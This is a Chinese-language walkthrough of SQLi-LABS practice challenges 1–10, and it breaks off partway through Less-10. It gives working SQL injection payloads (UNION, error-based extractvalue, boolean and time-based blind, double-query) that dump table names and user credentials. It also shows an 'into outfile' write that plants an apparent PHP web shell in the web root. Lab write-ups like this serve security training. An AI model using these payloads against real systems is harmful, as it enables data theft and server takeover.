SQLi-LABS(笔记)Page-1(Basic Challenges)

前言

关于SQLi-LABS的靶场环境以及SQL注入天书都放在阿里云盘中,需要环境的自取

链接:https://www.alipan.com/s/m5AP2eSezDV 提取码: 2x4u

Github获取Sqli-labs项目地址:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

个人笔记只做到1-16,SQL注入天书有后续内容


Page-1(Basic Challenges)

Less-1

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第1张图片

方法一:手工UNION联合查询注入

输入单引号,页面报错

SQLi-LABS(笔记)Page-1(Basic Challenges)_第2张图片

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间

输入的1在数据库中出现的位置为:select … from … where id='1' ...

注意id=非正确值

爆库payload

union select 1,2,database() --+

得到’security’库名

SQLi-LABS(笔记)Page-1(Basic Challenges)_第3张图片

爆库和版本号payload

?id=' union select 1, database(),version() %23

SQLi-LABS(笔记)Page-1(Basic Challenges)_第4张图片

爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users,显然users是用户数据表

SQLi-LABS(笔记)Page-1(Basic Challenges)_第5张图片

爆列名(字段)payload

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第6张图片

爆值payload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第7张图片

方法二:手工报错型注入

检测报错型payload

?id=1' and 1=1--+ //正确

?id=1' and 1=2--+ //失败

SQLi-LABS(笔记)Page-1(Basic Challenges)_第8张图片

证明确实存在手工报错型注入

注意id=正确值

爆表payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆列名(字段)payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

没有完全显示

SQLi-LABS(笔记)Page-1(Basic Challenges)_第9张图片

使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第10张图片

爆值payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第11张图片

同样使用not in显示其他值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第12张图片

方法三:sqlmap工具自动注入

Less-2

GET - Error based - Intiger based (基于错误的GET整型注入/数字型注入

SQLi-LABS(笔记)Page-1(Basic Challenges)_第13张图片

方法一:手工UNION联合查询注入

注意id=非正确值

爆库payload

?id=-1 union select 1,2,database() --+

得到’security’库名

SQLi-LABS(笔记)Page-1(Basic Challenges)_第14张图片

爆表payload

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users,显然users是用户数据表

SQLi-LABS(笔记)Page-1(Basic Challenges)_第15张图片

爆列名(字段)payload

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第16张图片

爆值payload

?id=0 union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第17张图片

方法二:手工报错型注入

检测报错型payload

?id=1 and 1=1--+ //正确

?id=1 and 1=2--+ //失败

SQLi-LABS(笔记)Page-1(Basic Challenges)_第18张图片

证明确实存在手工报错型注入

注意id=正确值

爆表payload

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第19张图片

爆列名(字段)payload

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

没有完全显示

SQLi-LABS(笔记)Page-1(Basic Challenges)_第20张图片

使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第21张图片

爆值payload

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第22张图片

同样使用not in显示其他值

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第23张图片

方法三:sqlmap工具自动注入

Less-3

GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第24张图片

我们使用?id='

注入代码后,得到像这样的一个错误

SQLi-LABS(笔记)Page-1(Basic Challenges)_第25张图片

这里它意味着,开发者使用的查询是

Select login_name, select password from table where id= (‘our input here’)

再用这样的代码来进行注入

?id=1′) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第26张图片

方法一:手工UNION联合查询注入

爆库payload

?id=') unionselect1,database(),version()--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第27张图片

爆表payload

?id=') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users,显然users是用户数据表

SQLi-LABS(笔记)Page-1(Basic Challenges)_第28张图片

爆列名(字段)payload

?id=') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第29张图片

爆值payload

?id=') union select 1,group_concat(id,email_id),3 from emails--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第30张图片

方法二:手工报错型注入

检测报错型payload

?id=1') and 1=1--+ //正确

SQLi-LABS(笔记)Page-1(Basic Challenges)_第31张图片

?id=1') and 1=2--+ //失败

SQLi-LABS(笔记)Page-1(Basic Challenges)_第32张图片

证明确实存在手工报错型注入

爆表payload

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第33张图片

爆列名(字段)payload

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

显然没有完全显示

SQLi-LABS(笔记)Page-1(Basic Challenges)_第34张图片

使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第35张图片

爆值payload

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第36张图片

同样使用not in显示其他值

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第37张图片

方法三:sqlmap工具自动注入

Less-4

Error based - Double Quotes - String (基于错误的GET双引号字符型注入)​​​​​​​

SQLi-LABS(笔记)Page-1(Basic Challenges)_第38张图片

方法一:手工UNION联合查询注入

输入单引号,页面无任何变化

输入双引号,页面报错

SQLi-LABS(笔记)Page-1(Basic Challenges)_第39张图片

根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,

select … from … where id=(”1”) …,把第一题中1后面的引号换成双引号加)就可以了。

注意id=非正确值

爆库payload

?id=") union select 1,2,database() --+

得到’security’库名

SQLi-LABS(笔记)Page-1(Basic Challenges)_第40张图片

爆表payload

?id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users,显然users是用户数据表

SQLi-LABS(笔记)Page-1(Basic Challenges)_第41张图片

爆列名(字段)payload

?id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第42张图片

爆值payload

?id=") union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第43张图片

方法二:手工报错型注入

检测报错型payload

?id=1") and 1=1--+ //正确

SQLi-LABS(笔记)Page-1(Basic Challenges)_第44张图片

?id=1") and 1=2--+ //失败

SQLi-LABS(笔记)Page-1(Basic Challenges)_第45张图片

证明确实存在手工报错型注入

注意id=正确值

爆表payload

?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第46张图片

爆列名(字段)payload

?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

没有完全显示

SQLi-LABS(笔记)Page-1(Basic Challenges)_第47张图片

使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值

?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第48张图片

爆值payload

?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第49张图片

同样使用not in显示其他值

?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第50张图片

方法三:sqlmap工具自动注入

Less-5

GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第51张图片

看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了

SQLi-LABS(笔记)Page-1(Basic Challenges)_第52张图片

验证时间延迟型的盲注

?id=1' and sleep(5)--+

发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段

布尔型和时间延迟型盲注建议采用sqlmap去跑。

其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功

方法一:时间延迟型手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察

时间延迟型和报错型 payload核心部分的构造相同

本方法中payload = ?id=1’ and if( 报错型 payload核心部分,sleep(5),1)–+

爆库长payload

?id=1' and if(length(database())=8,sleep(5),1)--+

明显延迟,数据库长度为8

SQLi-LABS(笔记)Page-1(Basic Challenges)_第53张图片

爆库名payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’

SQLi-LABS(笔记)Page-1(Basic Challenges)_第54张图片

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

在limit 3,1 爆破出user表名为users

SQLi-LABS(笔记)Page-1(Basic Challenges)_第55张图片

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值

SQLi-LABS(笔记)Page-1(Basic Challenges)_第56张图片

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以不知道是Dumb 还是dumb

方法二,布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。

爆库payload

?id=1' and left((select database()),1)='s'--+

可以看>'t’无回显,而<'t’有回显。

最终确定的库名为security。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第57张图片

SQLi-LABS(笔记)Page-1(Basic Challenges)_第58张图片

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users

SQLi-LABS(笔记)Page-1(Basic Challenges)_第59张图片

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第60张图片

爆字段payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第61张图片

用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第62张图片

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。

方法三,使用concat聚合函数

参考资料:http://www.2cto.com/article/201303/192718.html

简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。

比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

查询数据库版本,在phpmyadmin中测试:

SQLi-LABS(笔记)Page-1(Basic Challenges)_第63张图片

可以看到测试的错误信息中出现了版本号。即构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中。废话不多说,想了解更详细的看链接的内容,下面进入正题。

payload在concat()中构造

爆库payload

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第64张图片

?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第65张图片

爆用户payload

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第66张图片

爆表名payload

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password

SQLi-LABS(笔记)Page-1(Basic Challenges)_第67张图片

爆列名payload

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历列名,找到username和password列

​​​​​​​SQLi-LABS(笔记)Page-1(Basic Challenges)_第68张图片

爆字段payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以显示第x个用户的password和username ('['是分隔符)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第69张图片

Less-6

GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数,步骤和第五题一样

SQLi-LABS(笔记)Page-1(Basic Challenges)_第70张图片

SQLi-LABS(笔记)Page-1(Basic Challenges)_第71张图片

验证时间延迟型的盲注

?id=1" and sleep(5)--+

发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段

布尔型和时间延迟型盲注建议采用sqlmap去跑。

其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功

方法一:时间延迟型手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察

时间延迟型和报错型 payload核心部分的构造相同

本方法中payload = ?id=1’ and if( 报错型 payload核心部分,sleep(5),1)–+

爆库长payload

?id=1" and if(length(database())=8,sleep(5),1)--+

明显延迟,数据库长度为8

SQLi-LABS(笔记)Page-1(Basic Challenges)_第72张图片

爆库名payload

?id=1" and if(left(database(),1)='s',sleep(5),1)--+

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’

SQLi-LABS(笔记)Page-1(Basic Challenges)_第73张图片

爆表名payload

?id=1" and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

在limit 3,1 爆破出user表名为users

SQLi-LABS(笔记)Page-1(Basic Challenges)_第74张图片

爆列名payload

?id=1" and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值

SQLi-LABS(笔记)Page-1(Basic Challenges)_第75张图片

爆破值payload

?id=1" and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

?id=1" and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以不知道是Dumb 还是dumb

方法二,布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。

爆库payload

?id=1" and left((select database()),1)='s'--+

可以看>'t’无回显,而<'t’有回显。

最终确定的库名为security。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第76张图片

SQLi-LABS(笔记)Page-1(Basic Challenges)_第77张图片

爆表paylaod

?id=1" and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users

SQLi-LABS(笔记)Page-1(Basic Challenges)_第78张图片

爆列名payload

?id=1" and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第79张图片

爆字段payload

?id=1" and left((select password from users order by id limit 0,1),1)='d' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第80张图片

用户名

?id=1" and left((select username from users order by id limit 0,1),1)='d' --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第81张图片

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。

方法三,使用concat聚合函数

参考资料:http://www.2cto.com/article/201303/192718.html

简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。

比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

查询数据库版本,在phpmyadmin中测试:

SQLi-LABS(笔记)Page-1(Basic Challenges)_第82张图片

可以看到测试的错误信息中出现了版本号。即构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中。废话不多说,想了解更详细的看链接的内容,下面进入正题。

payload在concat()中构造

爆库payload

?id=-1" union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第83张图片

?id=-1"union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第84张图片

爆用户payload

?id=-1" union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第85张图片

爆表名payload

?id=-1" union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password

SQLi-LABS(笔记)Page-1(Basic Challenges)_第86张图片

爆列名payload

?id=-1" union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历列名,找到username和password列

SQLi-LABS(笔记)Page-1(Basic Challenges)_第87张图片

爆字段payload

?id=-1" union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以显示第x个用户的password和username ('['是分隔符)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第88张图片

Less-7

GET - Dump into outfile - String (导出文件GET字符型注入)​​​​​​​

SQLi-LABS(笔记)Page-1(Basic Challenges)_第89张图片

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就…/var/www/htm,…/var/www/html/htdocs

phpstudy 就是…\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是…\xampp\htdocs

在less-2直接注入拿到路径,payload

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第90张图片

注入less-7,payload

?id=1')) union select 1,2,'' into outfile "Z:\\xampp\\htdocs\\sqli-labs-php7-master\\Less-7\\1.php"--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第91张图片

?a=dir

SQLi-LABS(笔记)Page-1(Basic Challenges)_第92张图片

Less-8

GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

布尔型盲注,单引号,id=1回显,加工单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 --+ 回显了

SQLi-LABS(笔记)Page-1(Basic Challenges)_第93张图片

可以通过 > < 比较字符大小加速爆破

暴库payload

?id=1' and left((select database()),1)='s'--+

​​​​​​​SQLi-LABS(笔记)Page-1(Basic Challenges)_第94张图片

库名长度可使用?id=1' and length(database())=8 --+ 判断,同理表名字,段名等。

最后得到库名?id=1' and left((select database()),8)='security' --+

爆表,爆字段,爆值,流水操作,和Less5的方法二,手工注入所有payload一摸一样

Less5的方法二,时间型的注入一样能用,注入完成

方法一:时间延迟型手工注入

?id=1' andif(length(database())=8,sleep(5),1)--+

明显延迟,数据库长度为8

SQLi-LABS(笔记)Page-1(Basic Challenges)_第95张图片

爆库名payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’

SQLi-LABS(笔记)Page-1(Basic Challenges)_第96张图片

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

在limit 3,1 爆破出user表名为users

SQLi-LABS(笔记)Page-1(Basic Challenges)_第97张图片

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

SQLi-LABS(笔记)Page-1(Basic Challenges)_第98张图片

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第99张图片

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

SQLi-LABS(笔记)Page-1(Basic Challenges)_第100张图片

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dum

方法二,布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。

暴库payload

?id=1' and left((select database()),1)='s'--+

可以看>'t’无回显,而<'t’有回显。

最终确定的库名为security。

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。

爆字段payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。

Less-9

GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

不管怎么输入,回显总是you are …

SQLi-LABS(笔记)Page-1(Basic Challenges)_第101张图片

时间型盲注,payload

?id=1' and sleep(3) --+

注意id=1,发现明显延迟,说明注入成功,爆破

SQLi-LABS(笔记)Page-1(Basic Challenges)_第102张图片

这道题的payload构造和第五题的方法一是一样的,列一下过程

爆库payload

?id=1' and if(length(database())=4 , sleep(3), 1) --+

发现当?id=1' and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8

SQLi-LABS(笔记)Page-1(Basic Challenges)_第103张图片

猜测数据库

?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是 s (ascii 码是 115)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第104张图片

?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是 e (ascii 码是 101)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第105张图片

以此类推,我们知道了数据库名字是 security

猜测 security 的数据表

?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是 e,...依次类推,得到 emails

SQLi-LABS(笔记)Page-1(Basic Challenges)_第106张图片

?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是 r,...依次类推,得到 referers

SQLi-LABS(笔记)Page-1(Basic Challenges)_第107张图片

再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user

猜测 users 表的列

?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测 users 表的第一个列的第一个字符是 i,

SQLi-LABS(笔记)Page-1(Basic Challenges)_第108张图片

以此类推,我们得到列名是 id,username,password 猜测

username 的值

?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+

猜测 username 的第一行的第一位

SQLi-LABS(笔记)Page-1(Basic Challenges)_第109张图片

以此类推,我们得到数据库 username,password 的所有内

Less-10

GET - Blind - Time based - double quotes (基于时间的双引号盲注)

基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入

SQLi-LABS(笔记)Page-1(Basic Challenges)_第110张图片

时间型盲注,payload

?id=1" and sleep(3) --+

注意id=1,发现明显延迟,说明注入成功,爆破

SQLi-LABS(笔记)Page-1(Basic Challenges)_第111张图片

这道题的payload构造和第五题的方法一是一样的,列一下过程

爆库payload

?id=1" and if(length(database())=4 , sleep(3), 1) --+

发现当?id=1' and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8

SQLi-LABS(笔记)Page-1(Basic Challenges)_第112张图片

猜测数据库

?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是 s (ascii 码是 115)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第113张图片

?id=1" and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是 e (ascii 码是 101)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第114张图片

以此类推,我们知道了数据库名字是 security

猜测 security 的数据表

